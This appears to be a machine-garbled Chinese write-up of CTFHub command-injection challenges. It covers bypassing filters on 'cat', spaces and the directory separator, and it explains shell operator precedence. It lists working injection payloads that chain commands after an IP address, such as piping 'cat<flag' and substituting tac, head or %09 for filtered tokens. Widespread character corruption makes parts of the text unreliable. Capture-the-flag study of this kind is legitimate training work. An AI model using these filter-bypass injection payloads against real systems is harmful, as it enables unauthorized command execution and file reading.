关于ctf:CTFHUB技能树REC命令注入
过滤catREC破绽 结构payload获取根目录信息payload=0.0.0.0;lsflag就在根目录中获取flag payload=127.0.0.1|cat flag_113311162723831.php无奈间接获取flag,后盾进行了cat过滤,当命令中呈现cat时,会返回&m(正则化匹配后果) 知识点 :能够应用应用其余命令替换cat tac more less head tail nlpayload=127.0.0.1|head flag_113311162723831.php输入内容为空可能是内容被正文掉了查看源代码失去flag 过滤空格显示以后文件夹信息 payload=127.0.0.1|ls获取flag payload=127.0.0.1|cat flag_113311162723831.php逻辑上过滤了空格知识点:能够应用< %20 %09代替 输出重定向符号 从文件中读取输出并提供给命令,而不是从键盘输入%20 URL编码中示意空格符号%09 URL编码中示意tab符号payload=127.0.0.1|cat<flag_113311162723831.php查看源代码,失去flag 过滤目录分隔符显示以后文件夹信息 payload=127.0.0.1|ls显示flag_is_here文件夹信息 payload=127.0.0.1|ls flag_is_here获取flag payload=127.0.0.1|ls flag_is_here/flag_302302826525570.php然而这里过滤了/目录分隔符 办法一:分解成三条命令 payload=127.0.0.1&cd flag_is_here;cat flag_302302826525570.php失去flag 问题:为什么payload=127.0.0.1|cd flag_is_here;ls是显示后果是而payload=127.0.0.1&cd flag_is_here;ls 后果却是 就像这样首先是符号具备优先级 | > ; > &对于127.0.0.1|cd flag_is_here;ls |运算符会先创立一个管道(子过程)用于将前后两个命令连接起来,所以ping 127.0.0.1和cd flag_is_here是在子过程中进行的,不影响父过程,两个命令执行完之后,父过程中最初执行ls对于127.0.0.1&cd flag_is_here;ls 127.0.0.1&中的&会使ping 127.0.0.1在后盾进行,从而不阻塞以后shell提示符。而后cd flag_is_here;ls会被执行